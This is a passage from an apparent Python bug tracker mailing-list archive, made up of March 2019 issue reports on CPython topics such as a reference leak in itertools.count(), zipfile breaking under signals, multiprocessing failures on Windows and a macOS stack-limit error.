5. Check captured stdout for exactly one 'running' occurrence.

----------
assignee: terry.reedy
components: IDLE
messages: 338847
nosy: cheryl.sabella, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Fix starting IDLE with pyshell
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36429>
_______________________________________

From report at bugs.python.org  Tue Mar 26 01:36:11 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Tue, 26 Mar 2019 05:36:11 +0000
Subject: [New-bugs-announce] [issue36430] A possible reference leak in
 itertools.count()
Message-ID: <1553578571.99.0.594880448437.issue36430@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

"long_step" is leaked in itertools_count_impl() if the type->tp_alloc() call fails.

----------
components: Extension Modules
messages: 338853
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: A possible reference leak in itertools.count()
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36430>
_______________________________________

From report at bugs.python.org  Tue Mar 26 02:33:08 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 26 Mar 2019 06:33:08 +0000
Subject: [New-bugs-announce] [issue36431] Use dict unpacking for merging two
 dicts
Message-ID: <1553581988.35.0.681522734554.issue36431@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

The following PR replaces the sequence of statement

    d = d1.copy()
    d.update(d2)

(where d1 and d2 are dicts) with a form proposed in PEP 448:

    d = {**d1, **d2}

or equivalent.

Besides functools, where using the new syntax makes the code clearer, there are not much occurrences of such idiom: only in yet 5 files, 1-2 times per file.

----------
components: Library (Lib)
messages: 338857
nosy: serhiy.storchaka
priority: normal
severity: normal
status: open
title: Use dict unpacking for merging two dicts
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36431>
_______________________________________

From report at bugs.python.org  Tue Mar 26 03:09:11 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 26 Mar 2019 07:09:11 +0000
Subject: [New-bugs-announce] [issue36432] Running python test suite fails on
 macOS 10.14.4 with resource.RLIMIT_STACK error
Message-ID: <1553584151.61.0.380593331105.issue36432@roundup.psfhosted.org>


New submission from Ned Deily <nad at python.org>:

After upgrading my first macOS system to the newly released macOS 10.14.4 update, attempts to run the Python test suite via regrtest fail:

$ /usr/local/bin/python3.7 -m test -uall -j3 -w
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/test/__main__.py", line 2, in <module>
    main()
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/test/libregrtest/main.py", line 640, in main
    Regrtest().main(tests=tests, **kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/test/libregrtest/main.py", line 586, in main
    self._main(tests, kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/test/libregrtest/main.py", line 607, in _main
    setup_tests(self.ns)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/test/libregrtest/setup.py", line 77, in setup_tests
    resource.setrlimit(resource.RLIMIT_STACK, (newsoft, hard))
ValueError: current limit exceeds maximum limit

The error is during regrtest initialization when it is trying to increase the process stack size to avoid previously seen problems when running tests.  This code has been unchanged for a long time.

Stepping through the code in the REPL on 10.14.4:
>>> import resource
>>> resource.getrlimit(resource.RLIMIT_STACK)
(8388608, 67104768)
>>> soft, hard = resource.getrlimit(resource.RLIMIT_STACK)
>>> newsoft = min(hard, max(soft, 1024*2048))
>>> newsoft
8388608
>>> resource.setrlimit(resource.RLIMIT_STACK, (newsoft, hard))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: current limit exceeds maximum limit

The same code run on a macOS system still running 10.14.3 gives the same values from getrlimit but does not fail when calling setrlimit.

I will investigate further tomorrow; if this is a general problem with macOS 10.14.4, we'll need to provide a workaround and possibly open an incident report with Apple.

----------
assignee: ned.deily
components: macOS
messages: 338858
nosy: ned.deily, ronaldoussoren
priority: critical
severity: normal
stage: test needed
status: open
title: Running python test suite fails on macOS 10.14.4 with resource.RLIMIT_STACK error
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36432>
_______________________________________

From report at bugs.python.org  Tue Mar 26 04:11:55 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 26 Mar 2019 08:11:55 +0000
Subject: [New-bugs-announce] [issue36433] Unhelpful error message in
 classmethoddescr_call()
Message-ID: <1553587915.75.0.69915652886.issue36433@roundup.psfhosted.org>


New submission from Inada Naoki <songofacandy at gmail.com>:

>>> desc = dict.__dict__['fromkeys']
>>> desc(int, [])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: descriptor 'fromkeys' requires a subtype of 'dict' but received 'type

`'type` should be `'int'`.

----------
components: Interpreter Core
messages: 338860
nosy: inada.naoki
priority: normal
severity: normal
status: open
title: Unhelpful error message in classmethoddescr_call()
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36433>
_______________________________________

From report at bugs.python.org  Tue Mar 26 04:59:02 2019
From: report at bugs.python.org (Andriy Maletsky)
Date: Tue, 26 Mar 2019 08:59:02 +0000
Subject: [New-bugs-announce] [issue36434] Zipfile breaks if signalled during
 write()
Message-ID: <1553590742.34.0.262884911758.issue36434@roundup.psfhosted.org>


New submission from Andriy Maletsky <andriy.maletsky at gmail.com>:

Consider a simple write to a zip file:


import zipfile

with zipfile.ZipFile('/workdir/archive.zip', 'w', compression=zipfile.ZIP_DEFLATED) as zip_archive:
    zip_archive.write('/workdir/data.csv', arcname='data.csv')
    print('exiting from context manager...')


If a signal handler is fired and raises an exception during certain points of write() execution, such an error occurs (py 3.7.2):


Traceback (most recent call last):
  File "zipissue.py", line 4, in <module>
    zip_archive.write('/workdir/data.csv', arcname='data.csv')
  File "/usr/local/lib/python3.7/zipfile.py", line 1744, in write
    shutil.copyfileobj(src, dest, 1024*8)
  File "/usr/local/lib/python3.7/zipfile.py", line 1107, in close
    buf = self._compressor.flush()
KeyboardInterrupt

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "zipissue.py", line 5, in <module>
    print('exiting from context manager...')
  File "/usr/local/lib/python3.7/zipfile.py", line 1265, in __exit__
    self.close()
  File "/usr/local/lib/python3.7/zipfile.py", line 1798, in close
    raise ValueError("Can't close the ZIP file while there is "
ValueError: Can't close the ZIP file while there is an open writing handle on it. Close the writing handle before closing the zip.
Exception ignored in: <function ZipFile.__del__ at 0x7fbeea4fcd08>
Traceback (most recent call last):
  File "/usr/local/lib/python3.7/zipfile.py", line 1789, in __del__
  File "/usr/local/lib/python3.7/zipfile.py", line 1798, in close
ValueError: Can't close the ZIP file while there is an open writing handle on it. Close the writing handle before closing the zip.


Before any write the `ZipFile._writing` flag is set, and that flag is cleared at `_ZipWriteFile.close()`. But if signalled inside `_ZipWriteFile.close()` we are moving to a broken state: we don't write anything anymore, but `ZipFile._writing` is still set. Therefore we cannot clearly close ZipFile. As ZipFile contextmanager swallows KeyboardInterrupt and produces an exception of `Exception` type, this leads to the impossibility of proper program shutdown.

I believe that by simply moving `ZipFile._writing = False` in `_ZipWriteFile.close()` to some finally block, this issue will be solved safely.

----------
components: Library (Lib)
messages: 338863
nosy: and800
priority: normal
severity: normal
status: open
title: Zipfile breaks if signalled during write()
type: behavior
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36434>
_______________________________________

From report at bugs.python.org  Tue Mar 26 06:49:27 2019
From: report at bugs.python.org (Paul Moore)
Date: Tue, 26 Mar 2019 10:49:27 +0000
Subject: [New-bugs-announce] [issue36435] multiprocessing crashes in Python
 3.7.3 on Windows
Message-ID: <1553597367.39.0.880995955963.issue36435@roundup.psfhosted.org>


New submission from Paul Moore <p.f.moore at gmail.com>:

If I run the following sample program using Python 3.7.3 (64 bit) for Windows, it immediately fails, producing a massive traceback.

import multiprocessing

def f(n):
    return n+1

with multiprocessing.Pool() as p:
    for n in p.map(f, [1,2,3]):
        print(n)

This is a part of the traceback produced - the whole traceback seemed to be continually increasing, until I killed (some of) the python processes via task manager:

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 105, in spawn_main
    exitcode = _main(fd)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 114, in _main
    prepare(preparation_data)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 225, in prepare
    _fixup_main_from_path(data['init_main_from_path'])
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 277, in _fixup_main_from_path
    run_name="__mp_main__")
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\runpy.py", line 263, in run_path
    pkg_name=pkg_name, script_name=fname)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\runpy.py", line 96, in _run_module_code
Traceback (most recent call last):
  File "<string>", line 1, in <module>
    mod_name, mod_spec, pkg_name, script_name)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 105, in spawn_main
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\runpy.py", line 85, in _run_code
    exitcode = _main(fd)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 114, in _main
    exec(code, run_globals)
    prepare(preparation_data)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 225, in prepare
  File "C:\Work\Scratch\t.py", line 6, in <module>
    _fixup_main_from_path(data['init_main_from_path'])
    with multiprocessing.Pool() as p:
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 277, in _fixup_main_from_path
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\context.py", line 119, in Pool
    run_name="__mp_main__")
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\runpy.py", line 263, in run_path
    context=self.get_context())
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\pool.py", line 176, in __init__
    pkg_name=pkg_name, script_name=fname)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\runpy.py", line 96, in _run_module_code
    mod_name, mod_spec, pkg_name, script_name)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\runpy.py", line 85, in _run_code
    self._repopulate_pool()
    exec(code, run_globals)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\pool.py", line 241, in _repopulate_pool
  File "C:\Work\Scratch\t.py", line 6, in <module>
    with multiprocessing.Pool() as p:
    w.start()
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\context.py", line 119, in Pool
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\process.py", line 112, in start
    context=self.get_context())
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\pool.py", line 176, in __init__
    self._popen = self._Popen(self)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\context.py", line 322, in _Popen
    self._repopulate_pool()
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\pool.py", line 241, in _repopulate_pool
    return Popen(process_obj)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\popen_spawn_win32.py", line 46, in __init__
    w.start()
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\process.py", line 112, in start
    prep_data = spawn.get_preparation_data(process_obj._name)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 143, in get_preparation_data
    self._popen = self._Popen(self)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\context.py", line 322, in _Popen
    return Popen(process_obj)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\popen_spawn_win32.py", line 46, in __init__
    _check_not_importing_main()
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 136, in _check_not_importing_main
    prep_data = spawn.get_preparation_data(process_obj._name)
  File "C:\Users\pmoore\AppData\Local\Programs\Python\Python37\lib\multiprocessing\spawn.py", line 143, in get_preparation_data
    is not going to be frozen to produce an executable.''')
RuntimeError:
        An attempt has been made to start a new process before the
        current process has finished its bootstrapping phase.

        This probably means that you are not using fork to start your
        child processes and you have forgotten to use the proper idiom
    _check_not_importing_main()
        in the main module:

            if __name__ == '__main__':
                freeze_support()

----------
components: Library (Lib), Windows
messages: 338870
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: high
severity: normal
status: open
title: multiprocessing crashes in Python 3.7.3 on Windows
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36435>
_______________________________________

From report at bugs.python.org  Tue Mar 26 08:35:32 2019
From: report at bugs.python.org (wangjiangqiang)
Date: Tue, 26 Mar 2019 12:35:32 +0000
Subject: [New-bugs-announce] [issue36436] Potential null pointer
 de-reference vulnerability
Message-ID: <1553603732.99.0.947384078311.issue36436@roundup.psfhosted.org>


New submission from wangjiangqiang <767563655 at qq.com>:

In Modules/_testcapimodule.c  line 4186 and 4187.
Allocated memory is used without null check.

----------
messages: 338875
nosy: wjq-security
priority: normal
severity: normal
status: open
title: Potential null pointer de-reference vulnerability
type: security

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36436>
_______________________________________

From report at bugs.python.org  Tue Mar 26 09:13:00 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 13:13:00 +0000
Subject: [New-bugs-announce] [issue36437] method_descriptor surprising error
 message when self is passed a keyword argument
Message-ID: <1553605980.78.0.197035304135.issue36437@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

_PyMethodDescr_FastCallKeywords() is an optimization in ceval.c to call methods. Problem: it introduces a wrong bug.

>>> import io
>>> help(io.FileIO.write)
Help on method_descriptor:

write(self, b, /)
    Write buffer b to file, return number of bytes written.

>>> f=io.FileIO("/dev/null", "wb")
>>> io.FileIO.write(f, b"data")  # ok
4

>>> io.FileIO.write(self=f, b=b"data") # ???
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: descriptor 'write' of '_io.FileIO' object needs an argument


io.FileIO.write is a "method_descriptor" builtin object. It's called from ceval.c call_function() using _PyMethodDescr_FastCallKeywords() which starts with:

    /* Make sure that the first argument is acceptable as 'self' */
    if (nargs < 1) {
        PyErr_Format(PyExc_TypeError,
                     "descriptor '%V' of '%.100s' "
                     "object needs an argument",
                     descr_name((PyDescrObject *)descr), "?",
                     PyDescr_TYPE(descr)->tp_name);
        return NULL;
    }
    self = args[0];

...

The bug is not a regression caused by the optimization. It exists in Python 3.6 which doesn't have the optimization:

$ python3.6
Python 3.6.8+ (heads/3.6:b241af861b, Mar 11 2019, 08:55:59) 
>>> import io
>>> f=io.FileIO("/dev/null", "wb")
>>> io.FileIO.write(f, b"data") # ok
4
>>> io.FileIO.write(self=f, b=b"data") # ???
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: descriptor 'write' of '_io.FileIO' object needs an argument

Extract of Python 3.6 methoddescr_call():

    /* Make sure that the first argument is acceptable as 'self' */
    assert(PyTuple_Check(args));
    argc = PyTuple_GET_SIZE(args);
    if (argc < 1) {
        PyErr_Format(PyExc_TypeError,
                     "descriptor '%V' of '%.100s' "
                     "object needs an argument",
                     descr_name((PyDescrObject *)descr), "?",
                     PyDescr_TYPE(descr)->tp_name);
        return NULL;
    }
    self = PyTuple_GET_ITEM(args, 0);

Python 2.7 raises the same exception, but the docstring is different:

$ python2
Python 2.7.15 (default, Oct 15 2018, 15:26:09) 
>>> import io
>>> f=io.FileIO("/dev/null", "wb")
>>> io.FileIO.write(f, b"data")
4L
>>> io.FileIO.write(self=f, b=b"data")
TypeError: descriptor 'write' of '_io.FileIO' object needs an argument
>>> help(io.FileIO.write)
write(...)
    write(b) -> int.  Write array of bytes b, return number written.

--

At this point, it's unclear to me if it's a bug... of a feature :-)

It seems like self is a positional-only argument, but the error message isn't helpful.

----------
messages: 338886
nosy: pablogsal, vstinner
priority: normal
severity: normal
status: open
title: method_descriptor surprising error message when self is passed a keyword argument
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36437>
_______________________________________

From report at bugs.python.org  Tue Mar 26 09:55:24 2019
From: report at bugs.python.org (Brian Spratke)
Date: Tue, 26 Mar 2019 13:55:24 +0000
Subject: [New-bugs-announce] [issue36438] Python 3.5.7 import error on Cross
 compile
Message-ID: <1553608524.58.0.377430259995.issue36438@roundup.psfhosted.org>


New submission from Brian Spratke <spratke at gmail.com>:

I apologize if this is a stupid question, but I am not very experienced building Python, or cross compiling.

While trying to cross compile Python 3.5.7 I can run configure, and make, but when I try to run 'make install' it throws the error posted below.  I was able to build with 3.5.1, but it appears that weakref.py has been added since then.  I think a lot of my problem is not understanding what the 'make install' step is doing.  Is it using python that is install on my Ubuntu machine? Is it trying to do another build step? Any help would be greatly appreciated.


Could not import runpy module
Traceback (most recent call last):
  File "./Lib/runpy.py", line 14, in <module>
    import importlib.machinery # importlib first so we can test #15386 via -m
  File "./Lib/importlib/__init__.py", line 57, in <module>
    import types
  File "./Lib/types.py", line 166, in <module>
    import functools as _functools
  File "./Lib/functools.py", line 23, in <module>
    from weakref import WeakKeyDictionary
  File "./Lib/weakref.py", line 12, in <module>
    from _weakref import (
ImportError: cannot import name '_remove_dead_weakref'
make[1]: *** [pybuilddir.txt] Error 1
make: *** [python-3.5.7] Error 1

----------
components: Cross-Build
messages: 338891
nosy: Alex.Willmer, Brian Spratke
priority: normal
severity: normal
status: open
title: Python 3.5.7 import error on Cross compile
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36438>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:18:26 2019
From: report at bugs.python.org (=?utf-8?q?Micka=C3=ABl_Schoentgen?=)
Date: Tue, 26 Mar 2019 15:18:26 +0000
Subject: [New-bugs-announce] [issue36439] [Windows]
 datetime.fromtimestamp(t) when t < 0 fails on Python 3.6
Message-ID: <1553613506.18.0.935251324399.issue36439@roundup.psfhosted.org>


New submission from Micka?l Schoentgen <contact at tiger-222.fr>:

A similar issue was resolved with issue29097 (with 0 <= t <= 86399).

Here, we have an inconsistency between OSes when using datetime.fromtimestamp(t) when t < 0.
Tested on Python 3.6.7.

GNU/Linux:

>>> datetime.fromtimestamp(-1)
datetime.datetime(1970, 1, 1, 0, 59, 59)

macOS:

>>> datetime.fromtimestamp(-1)
datetime.datetime(1970, 1, 1, 0, 59, 59)

Windows (7 and 10):

>>> datetime.fromtimestamp(-1)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 22] Invalid argument


I think having a similar behavior between all Oses would be great, right?

----------
messages: 338893
nosy: Tiger-222
priority: normal
severity: normal
status: open
title: [Windows] datetime.fromtimestamp(t) when t < 0 fails on Python 3.6
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36439>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:33:28 2019
From: report at bugs.python.org (A. Skrobov)
Date: Tue, 26 Mar 2019 15:33:28 +0000
Subject: [New-bugs-announce] [issue36440] more helpful diagnostics for
 parser module
Message-ID: <1553614408.8.0.416681237128.issue36440@roundup.psfhosted.org>


New submission from A. Skrobov <tyomitch at gmail.com>:

Seeing that the implicit resolution at #36256 was to keep the parser module in place, may I suggest that the diagnostics it produces be improved, so that instead of "Expected node type 305, got 11", it would raise "Expected namedexpr_test, got COLON"

----------
components: Extension Modules
messages: 338897
nosy: A. Skrobov, benjamin.peterson, berker.peksag, brett.cannon, fdrake, gregory.p.smith, pablogsal, python-dev, serhiy.storchaka, xcombelle
priority: normal
severity: normal
status: open
title: more helpful diagnostics for parser module
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36440>
_______________________________________

From report at bugs.python.org  Tue Mar 26 12:45:44 2019
From: report at bugs.python.org (Christian Ullrich)
Date: Tue, 26 Mar 2019 16:45:44 +0000
Subject: [New-bugs-announce] [issue36441] Cannot create venv with debug
 binaries installed
Message-ID: <1553618744.7.0.176169992924.issue36441@roundup.psfhosted.org>


New submission from Christian Ullrich <chris at chrullrich.net>:

Creating a venv using "py -m venv" fails when the debug binaries are installed in the system-wide installation.

Note the below uses the 32-bit installation, but that is probably not significant.

C:\Daten\pyv>py -3.7-32 -m venv v37-32
Error: [Errno 2] No such file or directory: 'C:\\Program Files (x86)\\Python37-32\\lib\\venv\\scripts\\nt\\python_d.exe'

The same command line works fine when using a Python installation that does not have the debug binaries installed.

----------
components: Windows
messages: 338904
nosy: chrullrich, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Cannot create venv with debug binaries installed
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36441>
_______________________________________

From report at bugs.python.org  Tue Mar 26 13:11:24 2019
From: report at bugs.python.org (Hardik)
Date: Tue, 26 Mar 2019 17:11:24 +0000
Subject: [New-bugs-announce] [issue36442] Different ValueError for the same
 operation in List and Tuple
Message-ID: <1553620284.92.0.688954440948.issue36442@roundup.psfhosted.org>


New submission from Hardik <hardik172 at gmail.com>:

I am curious why ValueErrors are different in List and Tuple when I try to get an index.  ValueError of a list returns in well format with actual argument "ValueError: 'ITEM' is not in list", whereas tuple returns something like this "ValueError: tuple.index(x): x not in tuple". 
I think List and Tuple both are calling same index() method then why it is raising different ValueErrors? 
>>> jframe_li
['Angular', 'React', 'Vue.js', 'Ember.js', 'Mereor', 'Node.js', 'Backbone.js']
>>> jframe_tu
('Angular', 'React', 'Vue.js', 'Ember.js', 'Mereor', 'Node.js', 'Backbone.js')
>>> jframe_li.index('React')
1
>>> jframe_tu.index('React')
1
>>> jframe_li.index('react')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: 'react' is not in list

>>> jframe_tu.index('react')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: tuple.index(x): x not in tuple

----------
components: Tests
messages: 338906
nosy: HardikPatel
priority: normal
severity: normal
status: open
title: Different ValueError for the same operation in List and Tuple
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36442>
_______________________________________

From report at bugs.python.org  Tue Mar 26 19:04:10 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 23:04:10 +0000
Subject: [New-bugs-announce] [issue36443] Disable coerce_c_locale and
 utf8_mode by default in _PyPreConfig?
Message-ID: <1553641450.58.0.478845873462.issue36443@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

bpo-36301 created a very strict separated between Python initialization and a new "pre-initialization" which is responsible to configure encodings and memory allocators.

Nick Coghlan proposed to disable UTF-8 Mode and C locale coercion by default in the pre-initialization, so the LC_CTYPE locale is not coerced by Python when it's embedded in an application.

Maybe the UTF-8 Mode can be automatically enabled (depending on the LC_CTYPE locale), but not the C locale coercion?

This issue is related to bpo-36202: Calling Py_DecodeLocale() before _PyPreConfig_Write() can produce mojibake.

----------
components: Interpreter Core
messages: 338922
nosy: ncoghlan, vstinner
priority: normal
severity: normal
status: open
title: Disable coerce_c_locale and utf8_mode by default in _PyPreConfig?
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36443>
_______________________________________

From report at bugs.python.org  Tue Mar 26 19:53:00 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 23:53:00 +0000
Subject: [New-bugs-announce] [issue36444] Python initialization: remove
 _PyMainInterpreterConfig
Message-ID: <1553644380.25.0.294234287845.issue36444@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

The _PyMainInterpreterConfig structure is redundant with _PyCoreConfig: it is a subset but using PyObject*. PyInterpreterState has 2 fields:

    _PyCoreConfig core_config;
    _PyMainInterpreterConfig config;

config parameters can be found in core_config, but using a different type: it introduces redundancy and a risk of inconsitency (if one is modified, but not the other).

_PyMainInterpreterConfig doesn't provide any feature which is not accessible using _PyCoreConfig.

----------
components: Interpreter Core
messages: 338924
nosy: vstinner
priority: normal
severity: normal
status: open
title: Python initialization: remove _PyMainInterpreterConfig
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36444>
_______________________________________

From report at bugs.python.org  Wed Mar 27 04:44:17 2019
From: report at bugs.python.org (Matthias Klose)
Date: Wed, 27 Mar 2019 08:44:17 +0000
Subject: [New-bugs-announce] [issue36445] bus error in test_gil test on
 armhf running with 64bit kernel
Message-ID: <1553676257.29.0.460589277249.issue36445@roundup.psfhosted.org>


New submission from Matthias Klose <doko at debian.org>:

seen with 3.7,3, not 3.8 alpha3.

bus error in test_gil test on armhf with 64bit kernel, one more unaligned access. not seen in debug builds.

https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-disco/disco/armhf/p/python3.7/20190327_025457_8b623@/log.gz

test_extra_sha3 (test.test_hashlib.HashLibTestCase) ... ok
test_get_builtin_constructor (test.test_hashlib.HashLibTestCase) ... ok
test_gil (test.test_hashlib.HashLibTestCase) ... Fatal Python error: Bus error

Current thread 0xf7bcd210 (most recent call first):
  File "/usr/lib/python3.7/test/test_hashlib.py", line 788 in test_gil
  File "/usr/lib/python3.7/unittest/case.py", line 615 in run
  File "/usr/lib/python3.7/unittest/case.py", line 663 in __call__
  File "/usr/lib/python3.7/unittest/suite.py", line 122 in run
  File "/usr/lib/python3.7/unittest/suite.py", line 84 in __call__
  File "/usr/lib/python3.7/unittest/suite.py", line 122 in run
  File "/usr/lib/python3.7/unittest/suite.py", line 84 in __call__
  File "/usr/lib/python3.7/unittest/suite.py", line 122 in run
  File "/usr/lib/python3.7/unittest/suite.py", line 84 in __call__
  File "/usr/lib/python3.7/unittest/runner.py", line 176 in run
  File "/usr/lib/python3.7/test/support/__init__.py", line 1899 in _run_suite
  File "/usr/lib/python3.7/test/support/__init__.py", line 1995 in run_unittest
  File "/usr/lib/python3.7/test/libregrtest/runtest.py", line 178 in test_runner
  File "/usr/lib/python3.7/test/libregrtest/runtest.py", line 182 in runtest_inner
  File "/usr/lib/python3.7/test/libregrtest/runtest.py", line 137 in runtest
  File "/usr/lib/python3.7/test/libregrtest/main.py", line 305 in rerun_failed_tests
  File "/usr/lib/python3.7/test/libregrtest/main.py", line 623 in _main
  File "/usr/lib/python3.7/test/libregrtest/main.py", line 586 in main
  File "/usr/lib/python3.7/test/libregrtest/main.py", line 640 in main
  File "/usr/lib/python3.7/test/__main__.py", line 2 in <module>
  File "/usr/lib/python3.7/runpy.py", line 85 in _run_code
  File "/usr/lib/python3.7/runpy.py", line 193 in _run_module_as_main
Bus error (core dumped)

----------
components: Extension Modules
keywords: 3.7regression
messages: 338944
nosy: doko
priority: normal
severity: normal
status: open
title: bus error in test_gil test on armhf running with 64bit kernel
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36445>
_______________________________________

From report at bugs.python.org  Wed Mar 27 05:44:44 2019
From: report at bugs.python.org (Slim)
Date: Wed, 27 Mar 2019 09:44:44 +0000
Subject: [New-bugs-announce] [issue36446] Need Windows x86-64 MSI installer
 for Python >= 3.x.x
Message-ID: <1553679884.72.0.161071548303.issue36446@roundup.psfhosted.org>


New submission from Slim <s.bouziri at eona.com>:

Currently, Windows MSI installers are only available for Python versions <= 2.7.16.

Could you please generate Windows MSI installers also for Python versions >= 3.x.x in order to be able to upgrade from 2.7.16 version to latest 3.x.x version?

Indeed, Python 2.7.x versions will be deprecated at the end of 2019, as shown by following log:

DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7.

----------
components: Windows
messages: 338946
nosy: paul.moore, steve.dower, telatoa, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Need Windows x86-64 MSI installer for Python >= 3.x.x
type: enhancement
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36446>
_______________________________________

From report at bugs.python.org  Wed Mar 27 06:00:53 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Wed, 27 Mar 2019 10:00:53 +0000
Subject: [New-bugs-announce] [issue36447] test__xxsubinterpreters leaked
 regards and memory blocks
Message-ID: <1553680853.14.0.685192497222.issue36447@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

The buildbot x86 Gentoo Refleaks 3.x/546 had detected that test__xxxsubinterpreters is leaking references and blocks:

